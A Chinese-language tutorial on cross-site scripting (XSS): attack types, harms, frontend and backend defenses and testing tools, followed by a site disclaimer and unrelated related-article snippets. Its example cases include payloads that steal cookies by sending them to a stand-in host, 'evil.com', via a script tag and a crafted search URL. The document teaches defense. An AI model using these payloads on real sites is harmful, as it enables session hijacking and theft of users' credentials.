15. 什么是 xss 攻擊?怎么防護

總結

  1. 跨站腳本攻擊,注入惡意腳本
  2. 敏感字符轉義:“<”,“/”
  3. 前端可以抓包篡改
  4. 主要后臺處理,轉義

什么是 XSS 攻擊?怎么防護

概述

XSS(Cross-Site Scripting,跨站腳本攻擊)是一種常見的 Web 安全漏洞,攻擊者通過向網頁中注入惡意腳本,使其他用戶在瀏覽該頁面時,腳本在瀏覽器上下文中執行,從而竊取敏感信息、劫持用戶會話或發起惡意操作。


XSS 攻擊原理

XSS 利用了網站對用戶輸入內容的處理不當。當網站將用戶輸入的內容直接插入到 HTML 頁面中而未進行有效過濾或轉義時,攻擊者可以構造包含 JavaScript、VBScript 等腳本的輸入,誘導其他用戶訪問后觸發執行。

常見注入方式

  • 在評論框、搜索框、URL 參數、表單提交等位置插入惡意腳本。
  • 利用富文本編輯器上傳包含腳本的內容。
  • 注入 <script><img><svg> 等標簽。

XSS 攻擊類型

類型描述特點
反射型 XSS惡意腳本作為請求參數嵌入 URL,服務器未過濾直接返回給瀏覽器執行通常通過誘導點擊鏈接傳播,不持久
存儲型 XSS惡意腳本被存儲到服務器(如數據庫、評論系統),當其他用戶訪問頁面時自動加載執行危害更大,影響范圍廣
DOM 型 XSS攻擊通過修改頁面的 DOM(文檔對象模型)觸發,不經過服務器響應更加隱蔽,依賴前端邏輯

XSS 攻擊的危害

  • 竊取用戶的 Cookie、SessionID 等敏感信息
  • 劫持用戶身份,模擬用戶行為(如發帖、轉賬)
  • 修改網頁內容,誘導用戶下載惡意軟件
  • 發起 CSRF(跨站請求偽造)攻擊
  • 網站掛馬、釣魚攻擊等

防護措施

? 前端防護

措施說明
HTML 轉義輸出對所有用戶輸入內容進行 HTML 實體轉義,例如將 < 轉為 &lt;> 轉為 &gt;
避免 innerHTML 操作盡量使用 textContent 或框架自帶的安全方法(如 Vue 的 {{ }}、React 的 {}
CSP(Content Security Policy)設置白名單策略,限制僅允許加載指定來源的腳本
使用安全的富文本庫如 Quill、Draft.js 等,內置內容清理機制
限制用戶輸入長度和格式防止異常字符輸入,如只允許數字、字母等

? 后端防護

措施說明
輸入過濾與轉義所有用戶輸入需經過嚴格的清洗,防止特殊字符進入數據庫
設置 HttpOnly Cookie防止 JavaScript 訪問 Cookie,減少 Cookie 被盜風險
使用 WAF(Web Application Firewall)過濾非法請求,識別常見 XSS 攻擊模式
編碼輸出內容不同輸出環境使用不同編碼方式:HTML、JS、CSS、URL 編碼
日志監控與告警監控異常請求,及時發現潛在攻擊

示例:XSS 攻擊代碼

<!-- 用戶輸入 -->
<input type="text" value="<script>alert('XSS')</script>" /><!-- 服務端未轉義輸出 -->
<div><p>用戶輸入了:&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</p>
</div>

實際案例

案例一:社交平臺留言區 XSS

攻擊者在留言中插入如下代碼:

<script src="http://evil.com/steal-cookie.js"></script>

當其他用戶查看該留言時,腳本會自動執行,將當前用戶的 Cookie 發送到攻擊者的服務器。

案例二:搜索引擎反射型 XSS

攻擊者構造惡意搜索詞:

https://example.com/search?q=<script>window.location='http://evil.com?c='+document.cookie</script>

用戶點擊后跳轉到攻擊頁面,導致 Cookie 泄露。


工具推薦

工具用途
OWASP ZAP開源 Web 應用安全測試工具,支持 XSS 掃描
Burp Suite商業級滲透測試工具,可模擬 XSS 攻擊
DOMPurifyJavaScript 庫,用于清理 HTML 內容中的危險腳本
Google CajaGoogle 提供的 HTML/CSS/JS 清理工具
Vue / React / Angular主流框架自帶防 XSS 機制(如自動轉義)

總結一句話

XSS 是一種利用網頁漏洞注入腳本并執行的攻擊方式,前后端應協同防御,通過輸入過濾、輸出轉義、CSP 等手段保障用戶數據安全。


本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/914918.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/914918.shtml
英文地址,請注明出處:http://en.pswp.cn/news/914918.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

更換docker工作目錄

使用環境 由于默認系統盤比較小docker鏡像很容易就占滿&#xff0c;需要掛載新的磁盤修改docker的默認工作目錄 環境&#xff1a;centos7 docker默認工作目錄: /var/lib/docker/ 新的工作目錄&#xff1a;/home/docker-data【自己手動創建&#xff0c;一般掛在新加的磁盤下面】…

算法學習筆記:26.二叉搜索樹(生日限定版)——從原理到實戰,涵蓋 LeetCode 與考研 408 例題

二叉搜索樹&#xff08;Binary Search Tree&#xff0c;簡稱 BST&#xff09;是一種特殊的二叉樹&#xff0c;因其高效的查找、插入和刪除操作&#xff0c;成為計算機科學中最重要的數據結構之一。BST 的核心特性是 “左小右大”&#xff0c;這一特性使其在數據檢索、排序和索引…

共生型企業:駕馭AI自動化(事+AI)與人類增強(人+AI)的雙重前沿

目錄 引言&#xff1a;人工智能的雙重前沿 第一部分&#xff1a;自動化范式&#xff08;事AI&#xff09;——重新定義卓越運營 第一章&#xff1a;智能自動化的機制 第二章&#xff1a;自動化驅動的行業轉型 第三章&#xff1a;自動化的經濟演算 第二部分&#xff1a;協…

TypeScript的export用法

在 TypeScript 中&#xff0c;export 用于將模塊中的變量、函數、類、類型等暴露給外部使用。export 語法允許將模塊化的代碼分割并在其他文件中導入。 1. 命名導出&#xff08;Named Export&#xff09; 命名導出是 TypeScript 中最常見的一種導出方式&#xff0c;它允許你導出…

數據結構-2(鏈表)

一、思維導圖二、鏈表的反轉def reverse(self):"""思路&#xff1a;1、設置previous_node、current、next_node三個變量,目標是將current和previous_node逐步向后循環并逐步進行反轉,知道所有元素都被反轉2、但唯一的問題是&#xff1a;一旦current.next反轉為向…

ros2 標定相機

一個終端執行&#xff1a; ros2 run image_tools cam2image --ros-args -p width:640 -p height:480 -p frequency:30.0 -p device_id:-1 -r /image:/camera/image_raw另一個終端執行&#xff1a;8x6 是格子角點數量&#xff0c;0.028是格子尺寸 ros2 run camera_calibration …

IsaacLab學習記錄(二)

二、導入并訓練自己的機器人1、urdf等其他格式轉usd&#xff08;工具在./scrips/tools/&#xff09;???維度????URDF (Unified Robot Description Format)????USD (Universal Scene Description)????定位??機器人模型描述標準&#xff08;僅描述單機器人&…

基于Rust Softplus 函數實踐方法

Softplus 函數 Softplus 函數是神經網絡中常用的激活函數之一,定義為: ? Softplus函數導數 ? 是 sigmoid 函數。Softplus 處處可導,并且導數恰好是 sigmoid。 它是 ReLU 函數的平滑近似,具有連續可導的特性,適合需要梯度優化的場景。 數學特性 平滑性:導數為 Sig…

Ubuntu服務器安裝Miniconda

下載 Miniconda 安裝腳本&#xff08;如果能聯網&#xff09;wget https://repo.anaconda.com/miniconda/Miniconda3-py39_24.1.2-0-Linux-x86_64.sh -O Miniconda3.sh安裝 Miniconda 到 /opt/condabash Miniconda3.sh -b -p /opt/conda激活 conda/opt/conda/bin/conda init ba…

Java數組補充v2

一、數組基本概念1. 什么是數組數組是Java中用來存儲同類型數據的固定大小的連續內存空間的數據結構。2. 數組特點固定長度&#xff1a;一旦創建&#xff0c;長度不可改變相同類型&#xff1a;所有元素必須是同一數據類型索引訪問&#xff1a;通過下標&#xff08;從0開始&…

【PTA數據結構 | C語言版】前綴樹的3個操作

本專欄持續輸出數據結構題目集&#xff0c;歡迎訂閱。 文章目錄題目代碼題目 請編寫程序&#xff0c;利用前綴樹查找給定字符串是否在某給定字符串集合 S 中。 輸入格式&#xff1a; 輸入首先給出一個正整數 n&#xff08;≤1000&#xff09;&#xff0c;隨后 n 行&#xff0…

JAVA面試寶典 -《緩存架構:穿透 / 雪崩 / 擊穿解決方案》

&#x1f4a5;《緩存架構&#xff1a;穿透 / 雪崩 / 擊穿解決方案》 文章目錄&#x1f4a5;《緩存架構&#xff1a;穿透 / 雪崩 / 擊穿解決方案》&#x1f9ed; 一、開篇導語&#xff1a;為什么緩存是高并發系統的命脈&#xff1f;?1.1 緩存的核心價值緩存帶來的收益??&…

FPGA創意項目網頁或博客推薦

1. 綜合項目平臺(開源+教程) ① Hackster.io - FPGA專區 ?? https://www.hackster.io/fpga 特點: 大量基于FPGA的創意項目(如Zynq游戲機、視覺處理、機器人控制)。 提供完整教程(Vivado工程文件+代碼)。 推薦項目: FPGA-Based Oscilloscope(低成本示波器) V…

Go 程序無法使用 /etc/resolv.conf 的 DNS 配置排查記錄

在最近的一次部署中&#xff0c;我遇到一個奇怪的問題&#xff1a;Go 程序在運行時不使用 /etc/resolv.conf 中的 DNS 設置&#xff0c;導致服務無法正常訪問域名。這篇文章記錄下完整的排查過程和最終的解決方案。1. 問題現象我有一個部署在 KVM 虛擬機內的 Go 應用&#xff0…

微服務相關問題(2)

1、Spring Cloud相關常用組件注冊中心&#xff08;nacos、Eureka等&#xff09;、負載均衡&#xff08;Ribbon、LoadBalancer&#xff09;、遠程調用&#xff08;feign&#xff09;、服務熔斷&#xff08;Sentinel、Hystrix&#xff09;、網關&#xff08;Gateway&#xff09;2…

安全初級2

一、作業要求 1、xss-labs 1~8關 2、python實現自動化sql布爾育注代碼優化(二分查找) 二、xss-labs 1~8關 1、準備 打開小皮面板&#xff0c;啟動MySQL和apacher 下載 xss-labs&#xff0c;并解壓后放到 phpstudy_pro 的 WWW 目錄下&#xff0c;重命名為 xss-labs 訪問鏈…

基礎算法題

基礎算法題 鏈表 1.1反轉鏈表 描述&#xff1a; 描述 給定一個單鏈表的頭結點pHead(該頭節點是有值的&#xff0c;比如在下圖&#xff0c;它的val是1)&#xff0c;長度為n&#xff0c;反轉該鏈表后&#xff0c;返回新鏈表的表頭。 數據范圍&#xff1a; 0≤&#xfffd;≤…

Android 15 源碼修改:為第三方應用提供截屏接口

概述 在 Android 系統開發中,有時需要為第三方應用提供系統級的截屏功能。本文將詳細介紹如何通過修改 Android 15 源碼中的 PhoneWindowManager 類,實現一個自定義廣播接口來觸發系統截屏功能。 修改方案 核心思路 通過在系統服務 PhoneWindowManager 中注冊自定義廣播監…

20250717 Ubuntu 掛載遠程 Windows 服務器上的硬盤

由 DeepSeek 生成&#xff0c;方法已經驗證可行。 通過網絡掛載Windows共享硬盤&#xff08;SMB/CIFS&#xff09; 確保網絡共享已啟用&#xff1a; 在Windows電腦上&#xff0c;右鍵點擊目標硬盤或文件夾 → 屬性 → 共享 → 啟用共享并設置權限&#xff08;至少賦予讀取權限&…

深度學習圖像增強方法(二)

三、直方圖均衡化 1. 普通直方圖均衡化 直方圖均衡化的原理是將圖像的灰度直方圖展平,使得每個灰度級都有更多的像素分布,從而增強圖像的對比度。具體步驟如下: 計算灰度直方圖:統計圖像中每個灰度級的像素數量。 計算累積分布函數(CDF):計算每個灰度級的累積概率。 映…